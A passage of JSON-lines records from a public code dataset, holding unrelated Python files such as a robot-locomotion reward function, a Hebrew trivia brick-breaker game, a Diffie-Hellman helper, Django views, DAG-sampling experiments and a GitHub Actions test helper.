self.osc_offset)\n grf = self._compute_grf()\n self.oscillators_vel = self.osc_omega - grf * local_feedback\n # self.oscillators_vel *= torch_rand_float(0.9,\n # 1.1,\n # self.oscillators_vel.shape,\n # self.device)\n self.oscillators_vel += (torch.randn(self.oscillators_vel.shape,\n device=self.device)\n * self.cfg.osc.process_noise_std)\n\n self.oscillators_vel *= 2*torch.pi\n self.oscillators += self.oscillators_vel*dt\n self.crossings = self.oscillators >= 2 * torch.pi\n self.oscillators = torch.remainder(self.oscillators, 2*torch.pi)\n\n for osc_id in range(4):\n env_id = self.crossings[:, osc_id].nonzero().flatten()\n if len(env_id) == 0:\n continue\n if osc_id == 0:\n self.last_phase_1.roll(1, dims=2)\n self.last_phase_1[env_id, :, 0] =\\\n self.oscillators[env_id, :]\n if osc_id == 1:\n self.last_phase_2.roll(1, dims=2)\n self.last_phase_2[env_id, :, 0] =\\\n self.oscillators[env_id, :]\n if osc_id == 2:\n self.last_phase_3.roll(1, dims=2)\n self.last_phase_3[env_id, :, 0] =\\\n self.oscillators[env_id, :]\n if osc_id == 3:\n self.last_phase_4.roll(1, dims=2)\n self.last_phase_4[env_id, :, 0] =\\\n self.oscillators[env_id, :]\n # * update average frequency of oscillators that reset\n self._update_avg_frequency(env_id, osc_id)\n\n self.oscillator_obs = torch.cat((torch.cos(self.oscillators),\n torch.sin(self.oscillators)), dim=1)\n\n def _update_avg_frequency(self, env_id, osc_id):\n time_steps = (self.common_step_counter\n - self.last_cross[env_id, osc_id])\n self.average_frequency[env_id, osc_id] =\\\n exp_avg_filter(1.0/(time_steps*self.dt),\n self.average_frequency[env_id, osc_id])\n self.last_cross[env_id, osc_id] = self.common_step_counter\n\n def _reward_floquet(self):\n phase_diff = \\\n torch.cat(((self.last_phase_1[:, :, 0] - self.last_phase_1[:, :, 1]).norm(dim=1).unsqueeze(1),\n (self.last_phase_2[:, :, 0] - self.last_phase_2[:, :, 1]).norm(dim=1).unsqueeze(1),\n (self.last_phase_3[:, :, 0] - self.last_phase_3[:, :, 1]).norm(dim=1).unsqueeze(1),\n (self.last_phase_4[:, :, 0] - self.last_phase_4[:, :, 1]).norm(dim=1).unsqueeze(1)), dim=1)\n phase_diff /= 2*torch.pi\n self.floquet_reward = torch.where(self.crossings,\n phase_diff, self.floquet_reward)\n vel_error = (self.commands[:, :2] - self.base_lin_vel[:, :2]).norm(dim=1)\n vel_error = self._sqrdexp(vel_error/(self.scales[\"base_lin_vel\"]/2.))\n # * when tracking is decent, penalize large deviations of the floquet multipliers\n reward = -self.floquet_reward.sum(dim=1)*vel_error\n return reward\n\n def _reward_locked_frequency(self):\n return -self.max_freq_diff\n\n","repo_name":"mit-biomimetics/ORCAgym","sub_path":"gym/envs/mini_cheetah/mini_cheetah_floquet.py","file_name":"mini_cheetah_floquet.py","file_ext":"py","file_size_in_byte":5334,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"42171790811","text":"from tkinter import *\nfrom data import *\nfrom question import rev\nfrom typing import Callable, Sequence\nimport question, utils, random, time\nroot = Tk()\nroot.title(\"משחק העששת הבינלאומי\")\nroot.geometry(\"500x570\")\nroot.resizable(0, 0)\nroot.wm_attributes(\"-topmost\", 1)\ncanvas = Canvas(root, width=500, height=500, bd=0, highlightthickness=0, highlightbackground=\"Red\", bg=\"white\")\ncanvas.pack(padx=10, pady=10)\nscore = Label(height=50, width=80, text=\"ניקוד: 0\", font=\"Arial 14 bold\")\nscore.pack(side=\"left\")\n\nclass Bricks:\n def __init__(self, canvas, color, fact: question.question_info = None):\n self.fact = fact\n self.isFact = fact is not None\n self.canvas = canvas\n self.color = color\n self.id = canvas.create_oval(5, 5, 25, 25, fill=color, width=2)\n\nroot.update()\n\nclass Ball:\n def __init__(self, canvas, color, paddle, bricks, score):\n self.bricks = bricks\n self.canvas = canvas\n self.paddle = paddle\n self.score = score\n self.bottom_hit = False\n self.hit = 0\n self.id = canvas.create_oval(10, 10, 25, 25, fill=color, width=1)\n self.canvas.move(self.id, 230, 461)\n start = [4, 3.8, 3.6, 3.4, 3.2, 3, 2.8, 2.6]\n random.shuffle(start)\n \n self.x = start[0]\n self.y = -start[0]\n self.canvas.move(self.id, self.x, self.y)\n self.canvas_height = canvas.winfo_height()\n self.canvas_width = canvas.winfo_width()\n\n def brick_hit(self, pos) -> tuple[bool, Bricks]:\n for brick_line in self.bricks:\n for brick in brick_line:\n brick_pos = self.canvas.coords(brick.id)\n \n try:\n if pos[2] >= brick_pos[0] and pos[0] <= brick_pos[2]:\n if pos[3] >= brick_pos[1] and pos[1] <= brick_pos[3]:\n canvas.bell()\n self.hit += 1\n self.score.configure(text=\"ניקוד: \" + str(self.hit))\n self.canvas.delete(brick.id)\n return (True, brick)\n except:\n continue\n return (False, None)\n \n \n def paddle_hit(self, pos):\n paddle_pos = self.canvas.coords(self.paddle.id)\n if pos[2] >= paddle_pos[0] and pos[0] <= paddle_pos[2]:\n if pos[3] >= paddle_pos[1] and pos[1] <= paddle_pos[3]:\n \n return True\n return False\n\n def draw(self):\n self.canvas.move(self.id, self.x, self.y)\n pos = self.canvas.coords(self.id)\n \n start = [4, 3.8, 3.6, 3.4, 3.2, 3, 2.8, 2.6]\n random.shuffle(start)\n a: Bricks = None\n is_hit = self.brick_hit(pos)\n if is_hit[0]:\n self.y = start[0]\n a = is_hit[1]\n if pos[1] <= 0:\n self.y = start[0]\n if pos[3] >= self.canvas_height:\n self.bottom_hit = True\n if pos[0] <= 0:\n self.x = start[0]\n if pos[2] >= self.canvas_width:\n self.x = -start[0]\n if self.paddle_hit(pos):\n self.y = -start[0]\n return a\n\n \nclass Paddle:\n def __init__(self, canvas, color):\n self.canvas = canvas\n self.id = canvas.create_rectangle(0, 0, 100, 10, fill=color)\n self.canvas.move(self.id, 200, 485)\n self.x = 0\n self.pausec=0\n self.byForce = False\n self.canvas_width = canvas.winfo_width()\n self.canvas.bind_all(\"\", self.turn_left)\n self.canvas.bind_all(\"\", self.turn_right)\n self.canvas.bind_all(\"\", self.pauser)\n \n\n def draw(self):\n pos = self.canvas.coords(self.id)\n \n if pos[0] + self.x <= 0:\n self.x = 0\n if pos[2] + self.x >= self.canvas_width:\n self.x = 0\n self.canvas.move(self.id, self.x, 0)\n\n def turn_left(self, event):\n self.x = -3.5\n\n def turn_right(self, event):\n self.x = 3.5\n\n def pauser(self,event=None,byForce=False):\n self.byForce = byForce\n self.pausec+=1\n if self.pausec>=2 and not byForce:\n self.byForce = False\n self.pausec=0\n \n\n\n\n\nplaying = False\n\nqs: Sequence[question.question_info] = utils.clone_question_array(questions)\n# playing = True\ndef start_game(event):\n global playing, qs\n if playing is False or len(qs) == 0:\n playing = True\n score.configure(text=\"ניקוד: 0\")\n canvas.delete(\"all\")\n BALL_COLOR = [\"black\"]\n BRICK_COLOR = \"White\"\n SPECIAL_BRICK_COLOR = \"RED\"\n random.shuffle(BALL_COLOR)\n paddle = Paddle(canvas, \"Dark Blue\")\n bricks = []\n fact_count = 0\n for i in range(0, 2):\n b = []\n for j in range(0, 19):\n if fact_count < len(questions):\n current_question = questions[fact_count]\n print(current_question)\n tmp = Bricks(canvas, SPECIAL_BRICK_COLOR, utils.clone_question(current_question))\n else:\n tmp = Bricks(canvas, BRICK_COLOR)\n fact_count += 1\n b.append(tmp)\n bricks.append(b)\n utils.shuffle2d(bricks)\n for i in range(0, 2):\n for j in range(0, 19):\n canvas.move(bricks[i][j].id, 25 * j, 25 * i)\n\n ball = Ball(canvas, BALL_COLOR[0], paddle, bricks, score)\n root.update_idletasks()\n root.update()\n temp_fact = \"עובדה מעניינת לי את התחת\"\n time.sleep(1)\n qs = []\n while 1:\n if paddle.pausec != 1:\n try:\n canvas.delete(m)\n del m\n except:\n pass\n if not ball.bottom_hit:\n brick = ball.draw()\n paddle.draw()\n root.update_idletasks()\n root.update()\n if brick is not None:\n if brick.isFact == True:\n temp_fact = brick.fact\n qs.append(utils.clone_question(brick.fact))\n paddle.pauser(None,True)\n pass\n time.sleep(0.01)\n if ball.hit==95:\n canvas.create_text(250, 250, text=rev(\"ניצחת\"), fill=\"yellow\", font=\"Consolas 24 \")\n root.update_idletasks()\n root.update()\n playing = False\n break\n else:\n s = [\"אכזבה + כשלון\", \"המשחק הסתיים\", \"נו מה אתה פרה?\", \"תשתפר כבר\"]\n word = rev(s[random.Random().randint(0, len(s) - 1)])\n canvas.create_text(250, 250, text=word, fill=\"red\", font=\"Consolas 24 \")\n root.update_idletasks()\n root.update()\n playing = True\n try:\n m\n canvas.delete(m)\n except UnboundLocalError:\n print(\"??\")\n break\n else:\n try:\n if m==None:pass\n except:\n \n s = \"נעצר\"\n if paddle.byForce:\n s = temp_fact.fact\n\n m=canvas.create_text(250, 250, text=rev(s), fill=\"green\", font=\"Consolas 12 \")\n root.update_idletasks()\n root.update()\n else:\n canvas.delete(\"all\")\n\n #!# This is for testing\n # qs = []\n\n # for i in range(2):\n # answers = [\"לא\", \"לא\", \"לא\", \"כן\"]\n # random.shuffle(answers)\n # correct_num = answers.index(\"כן\")\n # qs.append(question.question_info(\"מחלת העששת הומצאה ב\", answers, correct_num, lambda x: print(x)))\n #!# end\n\n score.configure(text='ניקוד: 0')\n q = question.question(canvas, root, qs, score)\n q.start()\n playing = False\n\nroot.bind_all(\"\", start_game)\ncanvas.create_text(250, 250, text=\"תתחיל \" + rev(\"למה אתה מחכה?\"), fill=\"Black\", font=\"Consolas 18\")\nj=canvas.find_all()\nroot.mainloop()","repo_name":"pallemry/Akanoid-science-project","sub_path":"index.pyw","file_name":"index.pyw","file_ext":"pyw","file_size_in_byte":8468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4543936245","text":"from mpl_toolkits.mplot3d import axes3d\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nplt.style.use('dark_background')\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\n\n# Grab some test data.\nX = np.array([[0],[100],[0],[0]])\nY = np.array([[0],[0],[0],[0]])\nZ = np.array([[0],[100],[0],[0]])\n\nprint(axes3d.get_test_data(0.05))\n# Plot a basic wireframe.\nax.plot_wireframe(X, Y, Z,)\n\nplt.show()","repo_name":"Falls-From-Tree/objective_snake","sub_path":"grid_test.py","file_name":"grid_test.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14430479790","text":"\"\"\"\nDiffie-Hellman Key Exchange class for establishing a shared key.\n\"\"\"\n\nfrom Crypto import Random\nfrom hashlib import sha256\n\n__author__ = \"spec\"\n__license__ = \"MIT\"\n__version__ = \"0.1\"\n__status__ = \"Development\"\n\n# Size of prime number in bits (recommended minimum: 2048)\nDH_SIZE = 2048\n\n# Length (in bytes) of each variable for public transport\nLEN_PRIME = 1024\nLEN_GEN = 16\nLEN_PK = 1024\n\n# Total public transport message size (in bytes)\nDH_MSG_SIZE = LEN_PRIME + LEN_GEN + LEN_PK\n\n\nclass DH:\n\n def __init__(self, p: int, g: int, pk: int):\n \"\"\"\n Initialize a new DH object for key exchange between client and server.\n :param p: a prime number from the multiplicative group of integers modulo n\n :param g: primitive root modulo\n :param pk: public key generated from p, g, and a private key\n \"\"\"\n self.p = p\n self.g = g\n self.pk = pk\n\n @staticmethod\n def gen_private_key() -> int:\n \"\"\"\n Generate a random private key.\n :return: a random integer of length DH_SIZE\n \"\"\"\n return DH.b2i(Random.new().read(DH_SIZE))\n\n @staticmethod\n def gen_public_key(g: int, private: int, p: int) -> int:\n \"\"\"\n Generate a public key from g, p, and a private key.\n :param g: primitive root modulo\n :param private: private key\n :param p: prime number\n :return: public key as an integer\n \"\"\"\n return pow(g, private, p)\n\n @staticmethod\n def get_shared_key(public: int, private: int, p: int) -> bytes:\n \"\"\"\n Calculate a shared key from a foreign public key, a local private\n key, and a shared prime.\n :param public: public key as an integer\n :param private: private key as an integer\n :param p: prime number\n :return: shared key as a 256-bit bytes object\n \"\"\"\n s = int(pow(public, private, p))\n s_bytes = s.to_bytes((s.bit_length() + 7) // 8, byteorder='big')\n return sha256(s_bytes).digest()\n\n @staticmethod\n def b2i(bts: bytes) -> int:\n \"\"\"\n Convert a bytes object to an integer.\n :param bts: bytes to convert\n :return: integer\n \"\"\"\n return int.from_bytes(bts, byteorder=\"big\")\n\n def __dict__(self):\n\n return {'p': self.p, 'g': self.g, 'pk': self.pk}\n\n\nclass InvalidDH(Exception):\n\n def __init__(self, message):\n self.message = message\n","repo_name":"spec-sec/SecureChat2","sub_path":"Shared/dhke.py","file_name":"dhke.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"3318428729","text":"\"\"\"\n####EN:\nInterpreter language Piet.\n\n####RU:\nИнтерпретатор языка Piet.\n\"\"\"\n\n# import sys\n# import argparse\nimport os\nimport sys\nfrom PIL import Image\n\n__author__ = 'ipetrash'\n\n\n# def create_parser():\n# parser = argparse.ArgumentParser(description='Interpreter language Piet.')\n# parser.add_argument(\"path\", help=\"Path to image file\")\n# return parser\n\n#\n# Используется 20 различных цветов (таблица справа). 18 цветов первых трёх строк в таблице связаны циклически двумя\n# следующими циклами:\n# Цикл оттенков: красный → жёлтый → зелёный → голубой → синий → фиолетовый → красный\n# Цикл яркости: светлый → нормальный → тёмный → светлый\n\nlight_operand_color = [\n \"#ffc0c0\", # light red\n \"#ffffc0\", # light yellow\n \"#c0ffc0\", # light green\n \"#c0ffff\", # light cyan\n \"#c0c0ff\", # light blue\n \"#ffc0ff\", # light magenta\n]\n\noperand_color = [\n \"#ff0000\", # red\n \"#ffff00\", # yellow\n \"#00ff00\", # green\n \"#00ffff\", # cyan\n \"#0000ff\", # blue\n \"#ff00ff\", # magenta\n]\n\ndark_operand_color = [\n \"#c00000\", # dark red\n \"#c0c000\", # dark yellow\n \"#00c000\", # dark green\n \"#00c0c0\", # dark cyan\n \"#0000c0\", # dark blue\n \"#c000c0\", # dark magenta\n]\n\nspecial_operand_color = [\n \"#ffffff\", # white\n \"#000000\", # black\n]\n\n\ndef rgb2hex(r, g, b):\n return '#{:02x}{:02x}{:02x}'.format(r, g, b)\n\n\ndef main():\n file_name = r\"D:\\My_Projects\\Python\\Interpreters\\Interpreter Piet\\examples\\hello_world_2_Piet.png\"\n if not os.path.exists(file_name):\n print(\"File %s not exist!\" % file_name)\n return 1\n\n # stack = []\n\n image = Image.open(file_name, mode=\"r\") # Open for read\n image = image.convert(\"RGB\") # Need rgb-image\n width, height = image.size\n\n\n arr = []\n for i in range(height):\n arr.append([])\n for j in range(width):\n r, g, b = image.getpixel((i, j))\n rgb = rgb2hex(r, g, b) # return as hex-string\n arr[i].append(rgb)\n\n for row in arr:\n print(row)\n\n return 0\n\n\nif __name__ == '__main__':\n # parser = create_parser()\n #\n # if len(sys.argv) is 1:\n # parser.print_help()\n # else:\n # args = parser.parse_args()\n # file_name = args.path\n\n code = main()\n sys.exit(code)","repo_name":"gil9red/Piet","sub_path":"Interpreter Piet.py","file_name":"Interpreter Piet.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"7766133910","text":"from django.conf.urls import patterns, url\n\nfrom . import views\n\nurlpatterns = patterns('',\n url(r'^$', views.FormView.as_view(), name='calendar_form'),\n url(r'^(\\d+)$', views.CalendarView, name='calendar_view'),\n url(r'^cars$', views.CarView.as_view(), name='car_list'),\n url(r'make-favorite$', views.make_favorite, name='make_favorite'),\n )\n\n","repo_name":"chrisguiney/carcalendar","sub_path":"carcal/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42702024709","text":"from methods import *\nfrom datetime import *\n\n \n# Monday schedule \nwhile current_weekday() == 0:\n subjects = [\"Português\", \"Filosofia\", \"Química\", \"Fisica\", \"Arte\", \"Matemática\", \"Educação Física\"]\n class_schedules = [\"07:20:00\", \"08:05:00\", \"09:00:00\", \"09:45:00\", \"10:40:00\", \"11:25:00\", \"12:10:00\"]\n start_signing(class_schedules, subjects)\n\n# Tuesday schedule \nwhile current_weekday() == 1:\n subjects = [\"História\", \"Inglês\", \"Química\", \"Matemática\", \"Biologia\", \"Redação\", \"Arte\"]\n class_schedules = [\"07:20:00\", \"08:05:00\", \"08:50:00\", \"09:35:00\", \"10:40:00\", \"11:25:00\", \"12:10:00\"]\n start_signing(class_schedules, subjects)\n\n# Wednesday schedule \nwhile current_weekday() == 2:\n subjects = [\"Português\", \"Inglês\", \"Geografia\", \"Biologia\", \"Fisica\", \"História\"]\n class_schedules = [\"07:20:00\", \"08:05:00\", \"08:50:00\", \"09:35:00\", \"10:40:00\", \"11:25:00\"]\n start_signing(class_schedules, subjects)\n\n# Thursday schedule \nwhile current_weekday() == 3:\n subjects = [\"Sociologia\", \"Biologia\", \"Português\", \"Química\", \"Matemática\", \"Geografia\"]\n class_schedules = [\"07:20:00\", \"08:05:00\", \"08:50:00\", \"09:35:00\", \"10:40:00\", \"11:25:00\"]\n start_signing(class_schedules, subjects)\n \n# Friday schedule\nwhile current_weekday() == 4:\n subjects = [\"Matemática\", \"Sociologia\", \"Geografia\", \"Fisica\", \"História\", \"Redação\", \"Português\"]\n class_schedules = [\"07:10:00\", \"07:55:00\", \"08:40:00\", \"09:45:00\", \"10:30:00\", \"11:25:00\", \"12:00:00\"]\n start_signing(class_schedules, subjects)\n ","repo_name":"GuilhermeBeltrao/chamada-automatica","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10942418727","text":"from django.shortcuts import render,HttpResponseRedirect\nfrom .forms import formaddmodel\nfrom .models import addmodel\nfrom django.views.decorators.cache import cache_page\n\n# Create your views here.\nglobal queryset\ndef test(request):\n \n queryset=addmodel.objects.all()\n return render(request,'templatetest.html',{'retrivevalue':queryset})\n\ndef editone(request,id):\n if request.method=='POST':\n queryset=addmodel.objects.get(pk=id)\n fm=formaddmodel(request.POST,instance=queryset)\n if fm.is_valid():\n fm.save()\n return HttpResponseRedirect('/') \n # return render(request,'add.html')\n else:\n queryset=addmodel.objects.get(pk=id)\n #print(type(queryset))\n fm=formaddmodel(instance=queryset)\n \n \n print(type(fm))\n\n return render(request,'edit.html',{'objdict':fm})\n\n \ndef delete(request,id):\n if request.method=='POST':\n objmod=addmodel.objects.get(pk=id)\n\n print(objmod)\n objmod.delete()\n return HttpResponseRedirect('/')\n\ndef success(request):\n return render(request,'success.html',{'success':'Form Submited'})\n#global queryset\n\n@cache_page(60) \ndef addrecord(request):\n global queryset\n if request.method=='POST':\n\n nm=formaddmodel(request.POST) \n if nm.is_valid():\n print(nm.cleaned_data['asnnumber'])\n print(nm.cleaned_data['date'])\n asn=nm.cleaned_data['asnnumber']\n gs=nm.cleaned_data['gsdb']\n sup=nm.cleaned_data['supplier']\n dat=nm.cleaned_data['date']\n pkn=nm.cleaned_data['pknumber']\n adddatabase=addmodel(asnnumber=asn,gsdb=gs,supplier=sup,date=dat,pknumber=pkn)\n adddatabase.save()\n queryset=addmodel.objects.all()\n nm=formaddmodel()\n return render(request,'add.html',{'value':nm,'retrivevalue':queryset})\n \n #return render(request,'add.html',retrivevalue)\n #return HttpResponseRedirect('/success/')\n else:\n \n #retrivevalue={'modelvalue':queryset}\n nm=formaddmodel()\n \n queryset=addmodel.objects.all()\n return render(request,'add.html',{'value':nm,'retrivevalue':queryset})\n \n\n return render(request,'add.html',{'value':nm,'retrivevalue':queryset})\n","repo_name":"ajeetgemis/EDI","sub_path":"operation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41714762360","text":"import igraph as ig\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport partition\nimport os\nimport sys\n\nfrom probabilities import get_scores, init_pruned_scores, init_scores, score, P\nfrom sampling import sample\nimport partition\nfrom utils import plot\n\n# score_name = sys.argv[1]\n# i = int(sys.argv[2])\n# n = int(sys.argv[3])\n\nscore_name = 'hailfinder-500'\ni = 1\nn = 1000\n\n\ndef test_convergence():\n init_scores(score_name)\n\n # if not os.path.exists(f'res/{score_name}/'):\n # os.makedirs(f'res/{score_name}/')\n\n for i in range(2):\n init_scores(score_name)\n G = ig.Graph(directed=True)\n v_count = len(get_scores())\n G.add_vertices(v_count)\n step_size = 1\n\n steps, equivalence_classes = sample(G, n * step_size * 2, False, False)\n scores = [step[1] for step in steps][::(step_size * 2)]\n plt.plot(np.arange(len(scores)), scores, 'm-',\n label=\"Structural basic\" if i == 0 else \"Structural basic prune\")\n # with open(f\"res/{score_name}/stractural_basic_{i}.csv\", \"w\") as f:\n # f.write(','.join(map(str, scores)))\n\n steps, equivalence_classes = sample(G, n * step_size, False, True)\n scores = [step[1] for step in steps][::step_size]\n plt.plot(np.arange(len(scores)), scores, 'c-',\n label=\"Structural w/ REV\" if i == 0 else \"Structural w/ REV prune\")\n\n init_pruned_scores()\n\n steps, equivalence_classes = sample(G, n * step_size * 2, False, False)\n scores = [step[1] for step in steps][::(step_size * 2)]\n plt.plot(np.arange(len(scores)), scores, 'm--',\n label=\"Structural basic prune\")\n\n steps, equivalence_classes = sample(G, n * step_size, False, True)\n scores = [step[1] for step in steps][::step_size]\n plt.plot(np.arange(len(scores)), scores, 'c--',\n label=\"Structural w/ REV prune\")\n # with open(f\"res/{score_name}/stractural_rev_{i}.csv\", \"w\") as f:\n # f.write(','.join(map(str, scores)))\n\n # steps = partition.sample_chain(G, n, False, 0, True, 0.066)\n # dag_scores = [score(step[2]) for step in steps]\n\n # plt.plot(np.arange(len(dag_scores)), dag_scores, 'g--',\n # label=\"DAG from partition w/ REV\" if i == 0 else \"\")\n # # with open(f\"res/{score_name}/partition_w_rev_{i}.csv\", \"w\") as f:\n # # f.write(','.join(map(str, dag_scores)))\n\n # steps = partition.sample_chain(G, n, True, 0.066, True, 0.066)\n # dag_scores = [score(step[2]) for step in steps]\n # plt.plot(np.arange(len(dag_scores)), dag_scores, 'b--',\n # label=\"DAG from partition w/ REV and MES\" if i == 0 else \"\")\n # # with open(f\"res/{score_name}/partition_w_ref_a_mes_{i}.csv\", \"w\") as f:\n # # f.write(','.join(map(str, dag_scores)))\n\n plt.xlabel('')\n plt.ylabel('Score')\n\n plt.title(f'{score_name}')\n plt.legend()\n plt.show()\n\n\ndef test_count_equivalences():\n score_name = 'hailfinder-100'\n markov_prob = 0.1\n\n init_scores(score_name)\n ns = np.arange(10000, 200001, 30000)\n\n markov_rev_classes_means = []\n classes_means = []\n rev_classes_means = []\n\n G = ig.Graph(directed=True)\n G.add_vertices(len(get_scores()))\n\n for n in ns:\n rev_equivalence_classes = []\n markov_rev_equivalence_classes = []\n simple_equivalence_classes = []\n\n for i in range(7):\n steps, equivalence_classes = sample(G, n, True, markov_prob, False)\n print(\n f'Classes visited with equivalence and REV step: {len(equivalence_classes)}, n={sum(equivalence_classes.values())}')\n markov_rev_equivalence_classes.append(equivalence_classes)\n\n # steps, equivalence_classes = sample(G, n, False, markov_prob, False)\n # print(f'Classes visited with REV step: {len(equivalence_classes)}, n={sum(equivalence_classes.values())}')\n # rev_equivalence_classes.append(equivalence_classes)\n\n steps, equivalence_classes = sample(G, n)\n simple_equivalence_classes.append(equivalence_classes)\n print(\n f'Classes visited: {len(equivalence_classes)} n={sum(equivalence_classes.values())}')\n\n markov_rev_classes_means.append(\n np.array([len(a) for a in markov_rev_equivalence_classes]).mean())\n # rev_classes_means.append(np.array([len(a) for a in rev_equivalence_classes]).mean())\n classes_means.append(\n np.array([len(a) for a in simple_equivalence_classes]).mean())\n\n plt.plot(ns, classes_means, label=\"Structure\")\n plt.scatter(ns, classes_means)\n\n plt.plot(ns, markov_rev_classes_means, label=\"Markov REV\")\n plt.scatter(ns, markov_rev_classes_means)\n\n # plt.plot(ns, rev_classes_means, label=\"REV\")\n # plt.scatter(ns, rev_classes_means)\n\n plt.title(f\"{score_name} markov_p={markov_prob}\")\n plt.legend()\n plt.show()\n\n\ntest_convergence()\n","repo_name":"alexjilkin/sampling-markov-equivalent-dag","sub_path":"src/run_sampling.py","file_name":"run_sampling.py","file_ext":"py","file_size_in_byte":5000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4462531464","text":"from time import sleep, perf_counter\n\n\n# Пауза\ndef wait(sec: int = 1) -> None:\n sleep(sec)\n\n\n# Сравнение функций: подсёт и вывод времени\ndef compare_funcs(funcs, args):\n names = list(map(func_name, funcs))\n times, best_time, results = find_best(funcs, args)\n display_times(names, times, best_time)\n return results\n\n\n# Подсчёт времени выполнения функции\ndef time_of(func, *args) -> (float, any):\n time = perf_counter()\n results = func(*args)\n time = abs(perf_counter() - time) * 1000\n return time, results\n\n\n# Нахождение самого быстрого времени\ndef find_best(funcs, args) -> (list[float], float, list[tuple]):\n times, results = [], []\n best_time = float('Inf')\n\n for func, arg in zip(funcs, args):\n time, result = time_of(func, *arg)\n\n times.append(time)\n results.append(result)\n best_time = min(time, best_time)\n\n return times, best_time, results\n\n\n# Вывод списка времен\ndef display_times(names: list[str], times: list[float], best_time: float = None) -> None:\n print('\\nВремя выполнения функций (мс):')\n for name, time in zip(names, times):\n line = '🎉' if time == best_time else '. '\n print(line + f' {time:.4f}\\t{name}')\n\n\n# Получение короткого имени из результата str(функция)\ndef func_name(func) -> str:\n func_name_raw = str(func)\n start_index = func_name_raw.find('function')\n if start_index == -1:\n start_index = func_name_raw.find('method') + 7\n else:\n start_index += 9\n end_index = func_name_raw.rfind(' <')\n if end_index == -1:\n end_index = func_name_raw.rfind(' at')\n else:\n end_index -= 3\n return func_name_raw[start_index:end_index]\n","repo_name":"carakaton/SAODLabs","sub_path":"compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30829642390","text":"\"\"\"\nThis module is provided to help with testing.\n\nThe following external modules are expected to be available:\n\n- [pytest][]\n- [pytest-mock](https://pytest-mock.readthedocs.io/en/latest/)\n\"\"\"\nimport os\nimport runpy\nimport sys\nfrom io import StringIO\nfrom typing import Any\n\nimport pytest\nfrom m.core import Good\nfrom pytest_mock import MockerFixture\n\nfrom .testing import ActionStepTestCase\n\n\ndef run_action_step(\n mocker: MockerFixture,\n *,\n py_file: str,\n exit_code: int,\n env_vars: dict[str, str],\n file_write_side_effect: Any | None = None,\n) -> tuple[str, str, dict[str, str]]:\n \"\"\"Execute an action step in a test.\n\n This function expects the inputs to the script to be provided via environment\n variables of the form `INPUT_[SOME_NAME]`. The script will write the outputs\n to the file `FAKE_GITHUB_OUTPUT.txt`. We can verify the contents of the file\n by looking at the 3rd output from the function. This is a dictionary mapping\n file names to contents. Please note that this testing function mocks\n [m.core.rw.write_file][] to obtain the file contents.\n\n Args:\n mocker: A reference to the pytest `MockerFixture`.\n py_file: The full path to the file that Github Actions will run.\n exit_code: The expected exit code of the action. `0` means all is good.\n env_vars: A dictionary of the environment variables that the action will\n receive.\n file_write_side_effect: This can be provided if we need to modify the\n behavior of [m.core.rw.write_file][]. This is useful if we want to\n test cases in which a file failed to write.\n\n Returns:\n The standard out, standard error, and files written by [m.core.rw.write_file][].\n \"\"\"\n mocker.patch.dict(\n os.environ,\n {\n 'NO_COLOR': 'true',\n **env_vars,\n 'GITHUB_OUTPUT': 'FAKE_GITHUB_OUTPUT.txt',\n },\n clear=True,\n )\n\n std_out = StringIO()\n std_err = StringIO()\n mocker.patch.object(sys, 'stdout', std_out)\n mocker.patch.object(sys, 'stderr', std_err)\n file_write_mock = mocker.patch('m.core.rw.write_file')\n file_write_mock.side_effect = file_write_side_effect or [Good(0)]\n\n prog = None\n with pytest.raises(SystemExit) as prog_block:\n prog = prog_block\n runpy.run_path(py_file, {}, '__main__')\n\n # Would be nice to be able to reset via a the mocker\n sys.stdout = sys.__stdout__\n sys.stderr = sys.__stderr__\n assert prog is not None # noqa: S101 - to be used in testing\n file_writes = {\n call.args[0]: call.args[1]\n for call in file_write_mock.call_args_list\n }\n\n # next block should not be covered by coverage, we have this as a utility\n # to help us write tests.\n prog_code = prog.value.code\n if prog_code != exit_code: # pragma: no cover\n print(std_out.getvalue(), file=sys.stdout) # noqa: WPS421\n print(std_err.getvalue(), file=sys.stderr) # noqa: WPS421\n assert prog_code == exit_code # noqa: S101 - to be used in testing\n return std_out.getvalue(), std_err.getvalue(), file_writes\n\n\ndef run_action_test_case(\n mocker: MockerFixture,\n tcase: ActionStepTestCase,\n) -> None:\n \"\"\"Execute an action step test case.\n\n This is a commodity wrapper to help us run the action tests case. If we need\n more control over the assertions we can then copy and modify the implementation.\n\n Args:\n mocker: A reference to the pytest `MockerFixture`.\n tcase: The test case.\n \"\"\"\n stdout, stderr, file_writes = run_action_step(\n mocker,\n py_file=tcase.py_file,\n exit_code=tcase.exit_code,\n env_vars=tcase.inputs,\n file_write_side_effect=tcase.file_write_side_effect,\n )\n assert stdout == tcase.expected_stdout # noqa: S101\n if tcase.errors:\n for error in tcase.errors:\n assert error in stderr # noqa: S101\n\n if tcase.exit_code == 0:\n assert 'FAKE_GITHUB_OUTPUT.txt' in file_writes # noqa: S101\n gh_output = file_writes['FAKE_GITHUB_OUTPUT.txt']\n assert gh_output == '\\n'.join(tcase.outputs) # noqa: 